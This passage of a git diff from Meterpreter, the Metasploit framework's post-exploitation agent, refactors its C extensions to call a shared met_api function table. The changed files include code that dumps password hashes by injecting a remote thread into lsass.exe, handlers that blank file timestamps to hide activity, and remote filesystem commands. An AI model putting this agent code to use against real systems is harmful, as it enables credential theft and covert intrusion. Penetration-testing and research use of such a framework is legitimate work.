out; } @@ -353,7 +353,7 @@ out: FileClose(srcFile); FileClose(tgtFile); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } @@ -370,9 +370,9 @@ static SYSTEMTIME epoch = { DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (!file) { SetLastError(ERROR_INVALID_PARAMETER); goto out; @@ -386,14 +386,14 @@ DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet) out: FileClose(file); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - wchar_t *filePath = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); + Packet *response = met_api->packet.create_response(packet); + wchar_t *filePath = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH)); if (filePath == NULL) { SetLastError(ERROR_INVALID_PARAMETER); @@ -408,6 +408,6 @@ DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet) out: free(filePath); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c index dc039fe9..78ab827a 100644 --- a/c/meterpreter/source/extensions/priv/server/passwd.c +++ b/c/meterpreter/source/extensions/priv/server/passwd.c @@ -3,6 +3,7 @@ * @brief Functionality for dumping password hashes from lsass.exe. */ #include "precomp.h" +#include "common_metapi.h" #include #include #include @@ -776,7 +777,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul sBytesWritten = 0; /* start the remote thread */ - if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) + if ((hThreadHandle = met_api->thread.create_remote(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL) { dwError = GetLastError(); dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError); @@ -970,7 +971,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul */ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; char *hashes = NULL; @@ -983,11 +984,11 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet) break; } - packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes); + met_api->packet.add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes); } while (0); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); if (hashes) { diff --git a/c/meterpreter/source/extensions/priv/server/precomp.h b/c/meterpreter/source/extensions/priv/server/precomp.h index f6e75340..5dc5fde0 100644 --- a/c/meterpreter/source/extensions/priv/server/precomp.h +++ b/c/meterpreter/source/extensions/priv/server/precomp.h @@ -6,9 +6,7 @@ #include "./elevate/elevate.h" #include "passwd.h" #include "fs.h" -#include "../../../common//arch/win/remote_thread.h" -#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index 4a09d68b..d6173105 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -2,15 +2,16 @@ * @brief This module implements privilege escalation features. */ #include "precomp.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - /*! * @brief `priv` extension dispatch table. */ @@ -31,11 +32,11 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); return ERROR_SUCCESS; } @@ -47,7 +48,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/audio/output.c b/c/meterpreter/source/extensions/stdapi/server/audio/output.c index 47a10cc7..e2138d1e 100644 --- a/c/meterpreter/source/extensions/stdapi/server/audio/output.c +++ b/c/meterpreter/source/extensions/stdapi/server/audio/output.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include @@ -15,34 +16,41 @@ typedef struct /* * Writes the supplied data to the audio buffer */ -static DWORD audio_channel_write(Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, - LPDWORD bytesWritten) +static DWORD audio_channel_write(Channel* channel, Packet* request, + LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten) { - AudioContext *ctx = (AudioContext *)context; + AudioContext* ctx = (AudioContext*)context; DWORD result = ERROR_SUCCESS; size_t written = 0; // Write to the buffer - if (bufferSize) { + if (bufferSize) + { char* newbuffer = 0; - if (ctx->buffer) { + if (ctx->buffer) + { newbuffer = realloc(ctx->buffer, ctx->offset + bufferSize); - } else { + } + else + { newbuffer = malloc(bufferSize); } - if (newbuffer) { + if (newbuffer) + { memcpy(newbuffer + ctx->offset, buffer, bufferSize); ctx->buffer = newbuffer; ctx->offset += bufferSize; written = bufferSize; - } else { + } + else + { result = ERROR_NOT_ENOUGH_MEMORY; } } - if (bytesWritten) { + if (bytesWritten) + { *bytesWritten = (DWORD)written; } @@ -52,18 +60,19 @@ static DWORD audio_channel_write(Channel *channel, Packet *request, /* * Play the audio on channel close */ -static DWORD audio_channel_close(Channel *channel, Packet *request, - LPVOID context) +static DWORD audio_channel_close(Channel *channel, Packet *request, LPVOID context) { AudioContext *ctx = (AudioContext *)context; // Play the audio buffer sndPlaySound(ctx->buffer, SND_MEMORY); - if (ctx->buffer) { + if (ctx->buffer) + { free(ctx->buffer); ctx->buffer = 0; } + free(ctx); return ERROR_SUCCESS; @@ -83,16 +92,17 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet) Channel *newChannel = NULL; // Allocate a response - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); // Allocate storage for the audio buffer context - if (!(ctx = calloc(1, sizeof(AudioContext)))) { + if (!(ctx = calloc(1, sizeof(AudioContext)))) + { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Get the channel flags - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS); memset(&chops, 0, sizeof(chops)); @@ -103,22 +113,25 @@ DWORD request_audio_output_channel_open(Remote *remote, Packet *packet) // Check the response allocation & allocate a un-connected // channel - if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { + if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops)))) + { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Add the channel identifier to the response - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); out: // Transmit the packet if it's valid - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); // Clean up on failure - if (res != ERROR_SUCCESS) { - if (newChannel) { - channel_destroy(newChannel, NULL); + if (res != ERROR_SUCCESS) + { + if (newChannel) + { + met_api->channel.destroy(newChannel, NULL); } } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/dir.c b/c/meterpreter/source/extensions/stdapi/server/fs/dir.c index 73956e90..06876bfc 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/dir.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/dir.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "fs_local.h" @@ -10,13 +11,13 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path) /* * Add the file name, full path and stat information */ - packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name); - packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_NAME, name); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, path); if (short_name) { - packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name); } if (fs_stat(path, &s) >= 0) { - packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s)); } } @@ -28,8 +29,8 @@ void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path) */ DWORD request_fs_ls(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); - LPCSTR directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + Packet *response = met_api->packet.create_response(packet); + LPCSTR directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); DWORD result; if (!directory) { @@ -38,7 +39,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet) result = fs_ls(directory, request_fs_ls_cb, response); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -49,17 +50,17 @@ DWORD request_fs_ls(Remote * remote, Packet * packet) */ DWORD request_fs_getwd(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory = NULL; DWORD result; result = fs_getwd(&directory); if (directory != NULL) { - packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); + met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); free(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -70,10 +71,10 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet) */ DWORD request_fs_chdir(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory; DWORD result; - directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; @@ -81,7 +82,7 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet) result = fs_chdir(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -91,10 +92,10 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet) */ DWORD request_fs_mkdir(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory; DWORD result; - directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; @@ -102,7 +103,7 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet) result = fs_mkdir(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -112,10 +113,10 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet) */ DWORD request_fs_delete_dir(Remote * remote, Packet * packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *directory; DWORD result; - directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); + directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; @@ -123,5 +124,5 @@ DWORD request_fs_delete_dir(Remote * remote, Packet * packet) result = fs_delete_dir(directory); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/file.c b/c/meterpreter/source/extensions/stdapi/server/fs/file.c index cb5a662d..1ff680e4 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/file.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/file.c @@ -1,5 +1,6 @@ #include "precomp.h" #include "fs_local.h" +#include "common_metapi.h" #include @@ -137,10 +138,10 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) LPSTR expandedFilePath = NULL; // Allocate a response - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); // Get the channel flags - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Allocate storage for the file context if (!(ctx = calloc(1, sizeof(FileContext)))) { @@ -149,8 +150,8 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) } // Get the file path and the mode - filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); - mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); + filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + mode = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_MODE); if (mode == NULL) { mode = "rb"; @@ -174,22 +175,22 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet) // Check the response allocation & allocate a un-connected // channel - if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) { + if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops)))) { res = ERROR_NOT_ENOUGH_MEMORY; goto out; } // Add the channel identifier to the response - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); out: // Transmit the packet if it's valid - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); // Clean up on failure if (res != ERROR_SUCCESS) { if (newChannel) { - channel_destroy(newChannel, NULL); + met_api->channel.destroy(newChannel, NULL); } free(ctx); } @@ -202,11 +203,11 @@ out: */ DWORD request_fs_separator(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); - packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); + met_api->packet.add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); - return packet_transmit_response(ERROR_SUCCESS, remote, response); + return met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); } @@ -218,13 +219,13 @@ DWORD request_fs_separator(Remote *remote, Packet *packet) */ DWORD request_fs_stat(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); struct meterp_stat buf; char *filePath; char *expanded = NULL; DWORD result = ERROR_SUCCESS; - filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) { result = ERROR_INVALID_PARAMETER; @@ -239,13 +240,13 @@ DWORD request_fs_stat(Remote *remote, Packet *packet) result = fs_stat(expanded, &buf); if (0 == result) { - packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); + met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } free(expanded); out: - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -255,11 +256,11 @@ out: */ DWORD request_fs_delete_file(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *path; DWORD result = ERROR_SUCCESS; - path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!path) { result = ERROR_INVALID_PARAMETER; @@ -267,7 +268,7 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet) result = fs_delete_file(path); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -277,12 +278,12 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet) */ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char *expanded = NULL; char *regular; - regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + regular = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (regular == NULL) { result = ERROR_INVALID_PARAMETER; goto out; @@ -295,15 +296,15 @@ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) goto out; } - packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); + met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); free(expanded); out: - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); char *filePath; DWORD result = ERROR_SUCCESS; HCRYPTPROV cryptProv = 0; @@ -313,7 +314,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) size_t ret; unsigned char buff[16384]; - filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); do { @@ -376,7 +377,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) dprintf("[FILE HASH] Successfully generated hash"); - packet_add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize); + met_api->packet.add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize); } while (0); @@ -395,7 +396,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType) fclose(fd); } - return packet_transmit_response(result, remote, response);} + return met_api->packet.transmit_response(result, remote, response);} /* @@ -426,13 +427,13 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet) */ DWORD request_fs_file_move(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char *oldpath; char *newpath; - oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); - newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); + newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!oldpath) { result = ERROR_INVALID_PARAMETER; @@ -440,7 +441,7 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet) result = fs_move(oldpath, newpath); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } /* @@ -450,13 +451,13 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet) */ DWORD request_fs_file_copy(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; char *oldpath; char *newpath; - oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); - newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); + oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME); + newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!oldpath) { result = ERROR_INVALID_PARAMETER; @@ -464,5 +465,5 @@ DWORD request_fs_file_copy(Remote *remote, Packet *packet) result = fs_copy(oldpath, newpath); } - return packet_transmit_response(result, remote, response); + return met_api->packet.transmit_response(result, remote, response); } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c index 2ebcb1db..98ab4001 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/fs_win.c @@ -2,6 +2,7 @@ #include "fs_local.h" #include "precomp.h" +#include "common_metapi.h" BOOL DeleteFolderWR(LPCWSTR szPath) { @@ -111,7 +112,7 @@ char * fs_expand_path(const char *regular) wchar_t expanded_path[FS_MAX_PATH]; wchar_t *regular_w; - regular_w = utf8_to_wchar(regular); + regular_w = met_api->string.utf8_to_wchar(regular); if (regular_w == NULL) { return NULL; } @@ -123,7 +124,7 @@ char * fs_expand_path(const char *regular) free(regular_w); - return wchar_to_utf8(expanded_path); + return met_api->string.wchar_to_utf8(expanded_path); } int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) @@ -174,7 +175,7 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) } WIN32_FIND_DATAW data; - wchar_t *path_w = utf8_to_wchar(expanded); + wchar_t *path_w = met_api->string.utf8_to_wchar(expanded); if (path_w == NULL) { result = GetLastError(); goto out; @@ -192,8 +193,8 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg) break; } - char *filename = wchar_to_utf8(data.cFileName); - char *short_filename = wchar_to_utf8(data.cAlternateFileName); + char *filename = met_api->string.wchar_to_utf8(data.cFileName); + char *short_filename = met_api->string.wchar_to_utf8(data.cAlternateFileName); char path[FS_MAX_PATH]; if (baseDirectory) { @@ -223,7 +224,7 @@ out: int fs_chdir(const char *directory) { int rc = ERROR_SUCCESS; - wchar_t *dir_w = utf8_to_wchar(directory); + wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { rc = GetLastError(); @@ -242,7 +243,7 @@ out: int fs_delete_dir(const char *directory) { int rc = ERROR_SUCCESS; - wchar_t *dir_w = utf8_to_wchar(directory); + wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { rc = GetLastError(); @@ -261,7 +262,7 @@ out: int fs_delete_file(const char *path) { int rc = ERROR_SUCCESS; - wchar_t *path_w = utf8_to_wchar(path); + wchar_t *path_w = met_api->string.utf8_to_wchar(path); if (path_w == NULL) { rc = GetLastError(); @@ -293,7 +294,7 @@ int fs_getwd(char **dir) goto out; } - *dir = wchar_to_utf8(dir_w); + *dir = met_api->string.wchar_to_utf8(dir_w); if (*dir == NULL) { rc = GetLastError(); } @@ -305,8 +306,8 @@ out: int fs_move(const char *oldpath, const char *newpath) { int rc = ERROR_SUCCESS; - wchar_t *old_w = utf8_to_wchar(oldpath); - wchar_t *new_w = utf8_to_wchar(newpath); + wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath); + wchar_t *new_w = met_api->string.utf8_to_wchar(newpath); if ((old_w == NULL) || (new_w == NULL)) { rc = GetLastError(); @@ -326,8 +327,8 @@ out: int fs_copy(const char *oldpath, const char *newpath) { int rc = ERROR_SUCCESS; - wchar_t *old_w = utf8_to_wchar(oldpath); - wchar_t *new_w = utf8_to_wchar(newpath); + wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath); + wchar_t *new_w = met_api->string.utf8_to_wchar(newpath); if ((old_w == NULL) || (new_w == NULL)) { rc = GetLastError(); @@ -347,7 +348,7 @@ out: int fs_mkdir(const char *directory) { int rc = ERROR_SUCCESS; - wchar_t *dir_w = utf8_to_wchar(directory); + wchar_t *dir_w = met_api->string.utf8_to_wchar(directory); if (dir_w == NULL) { rc = GetLastError(); @@ -376,8 +377,8 @@ int fs_fopen(const char *path, const char *mode, FILE **f) return ERROR_NOT_ENOUGH_MEMORY; } - wchar_t *path_w = utf8_to_wchar(expanded); - wchar_t *mode_w = utf8_to_wchar(mode); + wchar_t *path_w = met_api->string.utf8_to_wchar(expanded); + wchar_t *mode_w = met_api->string.utf8_to_wchar(mode); if ((path_w == NULL) || (mode_w == NULL)) { rc = ERROR_NOT_ENOUGH_MEMORY; @@ -501,7 +502,7 @@ win32_wstat(const wchar_t* path, struct meterp_stat *result) int fs_stat(char *filename, struct meterp_stat *buf) { - wchar_t *filename_w = utf8_to_wchar(filename); + wchar_t *filename_w = met_api->string.utf8_to_wchar(filename); if (filename_w == NULL) { return -1; } diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c b/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c index da109953..4b6499cf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/mount_win.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #pragma comment(lib, "mpr.lib") @@ -8,7 +9,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); CHAR driveStrings[DRIVE_STRINGS_LEN] = { 0 }; @@ -25,12 +26,12 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) { dprintf("[MOUNT] Drive found: %s", d); - Packet* driveData = packet_create_group(); + Packet* driveData = met_api->packet.create_group(); UINT driveType = GetDriveTypeA(d); dprintf("[MOUNT] %s drive type %u (0x%x)", d, driveType, driveType); - packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d); - packet_add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType); + met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d); + met_api->packet.add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType); // get network UNC path if it's a network drive if (driveType == DRIVE_REMOTE) @@ -49,7 +50,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) UNIVERSAL_NAME_INFOA* nameInfo = (UNIVERSAL_NAME_INFOA*)buffer; if (nameInfo->lpUniversalName) { - packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName); + met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName); } } else @@ -68,16 +69,16 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet) dprintf("[MOUNT] %s getting free space ...", d); if (GetDiskFreeSpaceExA(d, &userFreeBytes, &totalBytes, &totalFreeBytes) != 0) { - packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart); - packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart); - packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart); + met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart); + met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart); + met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart); } - packet_add_group(response, TLV_TYPE_MOUNT, driveData); + met_api->packet.add_group(response, TLV_TYPE_MOUNT, driveData); } } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return ERROR_SUCCESS; } \ No newline at end of file diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.c b/c/meterpreter/source/extensions/stdapi/server/fs/search.c index 12c996f5..1d5b0c8e 100644 --- a/c/meterpreter/source/extensions/stdapi/server/fs/search.c +++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.c @@ -11,6 +11,7 @@ */ #include "precomp.h" +#include "common_metapi.h" #include "fs.h" #include "fs_local.h" #include "search.h" @@ -20,19 +21,19 @@ */ VOID search_add_result(Packet * pResponse, wchar_t *directory, wchar_t *fileName, DWORD dwFileSize) { - char *dir = wchar_to_utf8(directory); - char *file = wchar_to_utf8(fileName); + char *dir = met_api->string.wchar_to_utf8(directory); + char *file = met_api->string.wchar_to_utf8(fileName); dprintf("[SEARCH] Found: %s\\%s", dir, file); if (dir && file) { - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); - packet_add_tlv_string(group, TLV_TYPE_FILE_PATH, dir); - packet_add_tlv_string(group, TLV_TYPE_FILE_NAME, file); - packet_add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize); + met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_PATH, dir); + met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_NAME, file); + met_api->packet.add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize); - packet_add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group); + met_api->packet.add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group); } free(dir); @@ -799,17 +800,17 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket) dprintf("[SEARCH] request_fs_search. Starting."); - pResponse = 